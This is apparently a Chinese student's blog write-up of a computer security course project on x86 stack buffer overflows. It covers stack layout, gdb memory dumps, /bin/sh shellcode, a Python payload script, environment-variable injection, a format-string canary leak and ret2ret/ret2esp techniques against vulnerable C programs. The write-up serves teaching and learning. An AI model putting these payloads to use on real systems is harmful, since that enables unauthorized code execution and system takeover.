前言
CS 161 is the voodoo plan of Lord Dirks. Project 1 is the first step.
这个project 1做的我心态爆炸
感觉自己还是不是很懂汇编指令 特别是esp寄存器
基本知识介绍
上图是linux x86系列的内存结构。stack向下生长,环境变量和Stack被视为相同的数据。
最底下的是文本代码段,存储着程序的汇编代码。Static data segment存放着未赋值和赋值过的静态变量。
Heap主要是程序中动态申请的内存空间。
上面两图显示了函数调用中相关的一些寄存器和地址内容。
最基本的涉及三个寄存器
esp (stack pointer): 指向函数顶的寄存器,处于内存底部(栈的顶部)
ebp (base pointer/saved frame pointer):指向函数底的的寄存器,处于内存顶部(栈的底部)
eip (instruction pointer): 指向文本区的下一个指令
还有一些其他的重要指针比如rip (return instruction pointer) 指向的是函数返回的地址。
在函数运行的时候,esp不断向上的pop
到return address时根据rip值跳转
接下来介绍缓冲区buffer/字符串
如下图的user,在c语言即
char a[20];
长度固定。
在程序运行时开拓一段空间
buffer向上生长,小index在下,大index在上
所有函数调用的时候,ebp和esp都会经过这样的操作:
0x0804840c <+0>: push %ebp
0x0804840d <+1>: mov %esp,%ebp
0x0804840f <+3>: sub $0x28,%esp
简单的意思是
- 压入ebp
- 让ebp等于esp
- 让esp到ebp下面x个字节的位置x与函数内容有关,但是必然是字的整数倍。x86架构时4n,x64架构是8n。
基本的buffer overflow
buffer overflow的意思即是在buffer没有做到良好保护的时候,通过缓冲区溢出覆盖内存从而改变代码走向,并且做出攻击。
假如我的代码是这样
//dejavu.c
#include <stdio.h>
void deja_vu()
{
char door[8];
gets(door);
}
int main()
{
deja_vu();
return 0;
}
通过gdb,我们可以发现一些关键的地址
(gdb) x $ebp
0xbffffab8: 0xbffffac8
(gdb) x $eip
0x804841d <deja_vu+17>: 0x8955c3c9
(gdb) x $esp
0xbffffa90: 0xbffffaa8
(gdb) x door
0xbffffaa8: 0x41414141
(gdb) x main
0x804841f <main>: 0x83e58955
(gdb) x $ebp +4
0xbffffabc: 0x0804842a
可以发现
rip($ebp+4)指向的是main函数中的一个地址,即返回地址
$eip指向的是文本区中的一个地址
door在ebp和esp中间
door离ebp有0x10的距离
具体的看应该是
(gdb) x/8wx door
0xbffffaa8: 0x41414141 0x41414141 0xb7fed200 0x00000000
0xbffffab8: 0xbffffac8 0x0804842a 0x08048440 0x00000000
其中0x41是我的合法输入AAAAAAAA
内存结构大概时这样
那么如果我的输入不合法呢?比如对于上面那段代码,我输入了很多A,那么内存结构大概是
可以看见我们将rip和ebp原本的数值覆盖掉了。这时如果要返回,查看rip发现地址是0x41414141然后发现那个地址没有任何有意义的地址与指令于是抛出段错误
输入:AAAAAAAAAAAAAAAA
之后查看gdb
(gdb) x/8wx door
0xbffffaa8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab8: 0x41414141 0x41414141 0x08048400 0x00000000
发现所有东西都被改掉了,程序抛出段错误,崩溃
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
可以看到程序试图区寻找0x41414141的数据,发现无意义
无防御机制的攻击
无意义的数据只会使程序崩溃,但是如果数据有意义呢?
但是如果我们能够将程序导入我们的有意义的恶意代码呢
我们将这种可执行代码称为shell code('shell code' contains 'hell code', you know)
shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
# assume that this is a code for getting permission of other users
*注意这是一个小端排序(little-endian)的程序,所以其实内存中会是
0x895e1feb...
我们通过栈溢出将我们的可执行代码塞入内存中,并且通过改变rip的数据(返回地址)去让程序执行我们的恶意代码。
#!/usr/bin/env python
# ~/egg
shell="\x90\x90\x90\x90"+"\x90\x90\x90\x90"+"\x00\xd2\xfe\xb7"+"\x00\x00\x00\x00"+"\xf8\xf6\xff\xbf"+"\xc8\xfa\xff\xbf"+"\x40\x84\x04\x08"+"\x00\x00\x00\x00"
shell2="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
print(shell+shell2)
*\x90没什么特别的1意义,只是为了填满buffer。让buffer被其他的字符,如\x41,填满也ok
然后将这段导入另一个文件中
./egg > shellcode
然后再执行程序时将其导入并且gdb,我们就会发现
(gdb) x/30wx door
0xbffffaa8: 0x90909090 0x90909090 0xb7fed200 0x00000000
0xbffffab8: 0xbffff6f8 0xbffffac8 0x08048440 0x00000000
0xbffffac8: 0x895e1feb 0xc0310876 0x89074688 0x0bb00c46
0xbffffad8: 0x4e8df389 0x0c568d08 0xdb3180cd 0xcd40d889
0xbffffae8: 0xffdce880 0x622fffff 0x732f6e69 0xb7fd0068
0xbffffaf8: 0x00000000 0x00000000 0x00000000 0xef5b7982
0xbffffb08: 0xd807fd92 0x00000000 0x00000000 0x00000000
0xbffffb18: 0x00000001 0x08048320
我们可以看到rip已经被改变了,而rip指向的地址早已被我们改成了我们的shell code
程序在结束的时候调用ret
指令,ret会根据rip的地址进行返回跳转,由于我们将rip该到了shell code的首地址,程序”返回“到我们的shell code位置并且开始执行shell code的指令,由于我们的shell code的意思时获得权限,那么我们也可以说是攻入对方系统。
包括如果对方将秘密函数(比如一个删数据库跑路的函数)写在代码中,也可以通过”返回“到秘密函数执行秘密函数
环境变量攻击
有的时候即使没有一些额外的防御机制,我们的shellcode也会收到限制,比如
-
程序员进行了一定的边界检查(虽然并没有检查完全)导致你能操控的字节数有限(一到二个字节)
比如下面这段代码
void flip(char *buf, const char *input) { //char buf[64]; //we can input via stdin size_t n = strlen(input); int i; for (i = 0; i < n && i <= 64; ++i) buf[i] = input[i] ^ (1u << 5); while (i < 64) buf[i++] = '\0'; }
我能溢出的只有buf+64这一个字节
程序内只使用了环境变量和给黑客控制环境变量的空间但是并没有用户输入的内容,我们无法将shellcode通过文件和stdin输入其中
这时单纯的写入shellcode有点不现实,但是我们可以将shellcode放入环境变量中。程序执行的时候,环境变量位于Stack上方。并且环境变量可以与main函数的参数等同(实际上就是main函数的参数)。
我们可以让rip返回到环境变量的地址处并且执行shellcode
(gdb) x/s *((char**) environ)
0xbffffbe9: "PAD=EGG=\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f\315\200\061\333\211\330@\315\200\350\334\377\377\377/bin/sh"
有防御机制的攻击
Canary(金丝雀)
canary源于17世纪英国工人对瓦斯的检查方式。由于金丝雀比人类对瓦斯更加敏感,英国工人通过金丝雀的行为(包括是否死亡)探测是否有大量的瓦斯。
由于上述的buffer overflow方法基于修改rip值,如果在ebp下面放一个字作为canary。canary(Debian系统实现)始于NUL(\x00),其他三个字节为随机数。起始的NUL可以阻挡攻击者读入canary(字符串的结束符号)
canary的另一部分放在gs寄存器中
在程序调用结束之前leave ret
之前检查栈上的canary与寄存器中的canary是否相等,如果相等则没有认为没有发生buffer overflow,否则发现stack smashing并且调用__stack_chk_fail函数中断程序
观察下面的开启Canary机制的程序
#define BUFLEN 16
#include <stdio.h>
#include <string.h>
int nibble_to_int(char nibble) {
if ('0' <= nibble && nibble <= '9') return nibble - '0';
else return nibble - 'a' + 10;
}
void dehexify() {
char buffer[BUFLEN];
char answer[BUFLEN];
int i = 0, j = 0;
gets(buffer);
while (buffer[i]) {
if (buffer[i] == '\\' && buffer[i+1] == 'x') {
int top_half = nibble_to_int(buffer[i+2]);
int bottom_half = nibble_to_int(buffer[i+3]);
answer[j] = top_half << 4 | bottom_half;
i += 3;
} else {
answer[j] = buffer[i];
}
i++; j++;
}
answer[j] = 0;
printf("%s\n", answer);
fflush(stdout);
}
int main() {
while (!feof(stdin)) {
dehexify();
}
}
观察函数dehexify
汇编码
(gdb) disassemble dehexify
Dump of assembler code for function dehexify:
//函数初始化
0x0804853d <+0>: push %ebp
0x0804853e <+1>: mov %esp,%ebp
0x08048540 <+3>: sub $0x38,%esp
//%gs:0x14存的就是canary的值,并且将其插入$ebp-4的位置)
0x08048543 <+6>: mov %gs:0x14,%eax
0x08048549 <+12>: mov %eax,-0x4(%ebp)
0x0804854c <+15>: xor %eax,%eax
...
0x08048617 <+218>: mov -0x4(%ebp),%eax
//将canary从%gs:0x14拿出并且与放入的canary进行比对。如果相同则跳转到函数+235处(正常离开),否则调用函数__stack_chk_fail,抛出异常
0x0804861a <+221>: xor %gs:0x14,%eax
0x08048621 <+228>: je 0x8048628 <dehexify+235>
0x08048623 <+230>: call 0x8048400 <__stack_chk_fail@plt>
0x08048628 <+235>: leave
0x08048629 <+236>: ret
输入正常字符串AAAAAAAAAAAAAAAA
后观察栈
(gdb) x/30wx answer
0xbffffaa8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab8: 0x41414100 0x41414141 0x41414141 0x41414141
0xbffffac8: 0x5bb90c00 0xbffffad8 0x08048637 0xb7fd2ac0
(gdb) p $ebp
$1 = (void *) 0xbffffacc
易知在ebp和我们自己的数据(buffer)中隔了一个字的canary,其起始字符为NUL(\x00)
*(看上去是最后一个字节,但是这个时小端序所以反而是第一个字节)
如果输入非法字符串如
AAAAAAAAAAAAAAAAA
(17个A)
(gdb) x/30wx buffer
0xbffffab8: 0x41410041 0x41414141 0x41414141 0x41414141
0xbffffac8: 0xe7590041 0xbffffad8 0x08048637 0xb7fd2ac0
0xbffffad8: 0x00000000 0xb7e454d3 0x00000001 0xbffffb74
0xbffffae8: 0xbffffb7c 0xb7fdc858 0x00000000 0xbffffb1c
0xbffffaf8: 0xbffffb7c 0x00000000 0x08048288 0xb7fd2000
0xbffffb08: 0x00000000 0x00000000 0x00000000 0xead1f830
0xbffffb18: 0xdd8d1c20 0x00000000 0x00000000 0x00000000
0xbffffb28: 0x00000001 0x08048450
最后的结果会是
*** stack smashing detected ***: /home/jz/agent-jz terminated
Program received signal SIGABRT, Aborted.
0xb7fdd424 in __kernel_vsyscall ()
(gdb)
攻击方式
printf格式化攻击
//test.c
void invoker(){
char buffer[16];
gets(buffer);as
printf(buffer);
}
int main(void){
invoker();
}
编译一下
gcc -m32 -z execstack -o canary -ggdb -fstack-protector-all test.c
之后用objdump查看汇编码
0804848c <invoke>:
804848c: 55 push %ebp
804848d: 89 e5 mov %esp,%ebp
804848f: 83 ec 68 sub $0x68,%esp
8048492: 65 a1 14 00 00 00 mov %gs:0x14,%eax
8048498: 89 45 f4 mov %eax,-0xc(%ebp)
804849b: 31 c0 xor %eax,%eax
804849d: 8d 45 b4 lea -0x4c(%ebp),%eax
80484a0: 89 04 24 mov %eax,(%esp)
80484a3: e8 b8 fe ff ff call 8048360 <gets@plt>
80484a8: 8d 45 b4 lea -0x4c(%ebp),%eax
80484ab: 89 04 24 mov %eax,(%esp)
80484ae: e8 9d fe ff ff call 8048350 <printf@plt>
80484b3: 8b 45 f4 mov -0xc(%ebp),%eax
80484b6: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
80484bd: 74 05 je 80484c4 <invoke+0x38>
80484bf: e8 ac fe ff ff call 8048370 <__stack_chk_fail@plt>
80484c4: c9 leave
80484c5: c3 ret
我们查看一下$ebp-0xc的数据
(gdb) x $ebp-0xc
0xbffff6dc: 0xdd4aed00
可以确定这就是canary了
我们的格式化是从esp开始数,所以我们要确定从esp到canary有多少个字
(gdb) x $esp
0xbffff680: 0xbffff69c
(0xdc-0x80)/4 = 23(10 based)
所以我们的输入可以时%23$x
然后就会发现
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/jz/canary
%23$x
a1116800[Inferior 1 (process 10311) exited normally]
成功拉出canary
ASLR(地址空间布局随机化)
Address Space Layout Randomization是一种防止攻击的很好的方法。上述的各种方法都是基于内存布局是固定的。我们需要一个固定的绝对地址去使我们的rip跳转到我们的shell code。但是如果每次程序运行时,其分布不完全固定而是随机的,那么我们无法固定地址,从而难以攻击。
ASLR只打乱Stack区和lib,其他的如Heap和Text区并不会被打乱
攻击方式
ret2ret
每当我们执行ret
指令时,我们实际上都在执行
pop eip
ASLR只会随机化栈区,但是文本段并不会。所以每回运行时,文本区都是固定的,ret的地址都是可以被找到的
esp所指向的地址的数据被eip覆盖
每当调用一次ret
esp都会+4(1个字)
我们可以通过这种方式将esp"抬到"指向我们shellcode的一个指针,然后通过通过这个指针执行我们的shellcode
ret2pop
不是很熟,但是应该和ret2ret差不多。只不过pop可以跳过某些区域
ret2esp
ret2esp是个很有意思的方法,因为他要求的指令gcc并不提供。
它需要jmp * esp
,其汇编码为0xffe4
这个指令可以跳转到esp,从而我们可以使esp指向我们的shellcode并且执行我们的shellcode。
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#define BUFSIZE 3520
unsigned int magic(unsigned int i, unsigned int j)
{
i ^= j << 3;
j ^= i << 3;
i |= 58623;
j %= 0x42;
return i & j;
}
void error(const char *msg)
{
fprintf(stderr, "error: %s\n", msg);
exit(1);
}
ssize_t io(int socket, size_t n, char *buf)
{
recv(socket, buf, n << 3, MSG_WAITALL);
size_t i = 0;
while (buf[i] && buf[i] != '\n' && i < n)
buf[i++] ^= 0x42;
return i;
send(socket, buf, n, 0);
}
void handle(int client)
{
char buf[BUFSIZE];
memset(buf, 0, sizeof(buf));
io(client, BUFSIZE, buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
int srv = socket(AF_INET, SOCK_STREAM, 0);
if (srv < 0)
error("socket()");
int on = 1;
if (setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
error("setting SO_REUSEADDR failed");
struct sockaddr_in server, client;
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(atoi(argv[1]));
if (bind(srv, (struct sockaddr *) &server, sizeof(server)) < 0)
error("bind()");
if (listen(srv, 5) < 0)
error("listen()");
socklen_t c = sizeof(client);
int client_socket;
for (;;)
{
if ((client_socket = accept(srv, (struct sockaddr *) &client, &c)) < 0)
error("accept()");
handle(client_socket);
close(client_socket);
}
return 0;
}
这段代码非常复杂,但是我们简单分析就可以发现
- magic卵用没有
- io函数会有缓冲区溢出
- 缓冲区在handle函数中,而handle函数调用io函数。说明缓冲区在io函数的上面,二缓冲区溢出是从下到上的过程。所以这个缓冲区溢出只能控制handle函数而不是io函数
然后我们可以查看一下magic函数(因为卵用没有)
(gdb) x/30wx *magic
0x8048604 <magic>: 0x8be58955 0xe0c10c45 0x08453103 0xc108458b
0x8048614 <magic+16>: 0x453103e0 0x084d810c 0x0000e4ff 0xba0c4d8b
0x8048624 <magic+32>: 0x3e0f83e1 0xe2f7c889 0xe8c1d089 0x89c00104
0x8048634 <magic+48>: 0x05e2c1c2 0xca89d001 0xd089c229 0x8b0c4589
0x8048644 <magic+64>: 0x558b0c45 0x5dd02108 0xe58955c3 0xba18ec83
0x8048654 <error+7>: 0x080489b0 0x04a03ca1 0x084d8b08 0x08244c89
0x8048664 <error+23>: 0x04245489 0xe8240489 0xfffffe70 0x012404c7
0x8048674 <error+39>: 0xe8000000 0xfffffe44
发现有一个0x0000e4ff
由于是小端序,这就是ffe4
然后我们就可以把rip改为这个指令并且在其上面放我们的shellcode。
此时当jmp * esp
执行的时候,esp指向shellcode,从而我们的shellcode可以被执行
执行异或
内存的每一块只允许被写入或者被执行,不可能即被写入又被执行
读完这篇文章你就会知道
- 搞事精和点子王都很会玩
- Microsoft家的c/c++编译器重写string.h文件中的函数并且逼着你使用scanf_s/strcpy_s/blabla的良苦用心
- 请一个傻吊一样的永远不写安全的边界检测的程序员的下场
- 为什么不要使用C/C++(虽然我这么说你还是会用,对吧)
- 对一些project掉以轻心以为自己三天就能写完这个只有五题project结果最后搞到心态爆炸的下场
- 做这种project之前一定不要奶这题很简单之类的
- 为什么说用strcpy和gets这样的函数要谨慎一点
- 三天肝project是可以肝出东西的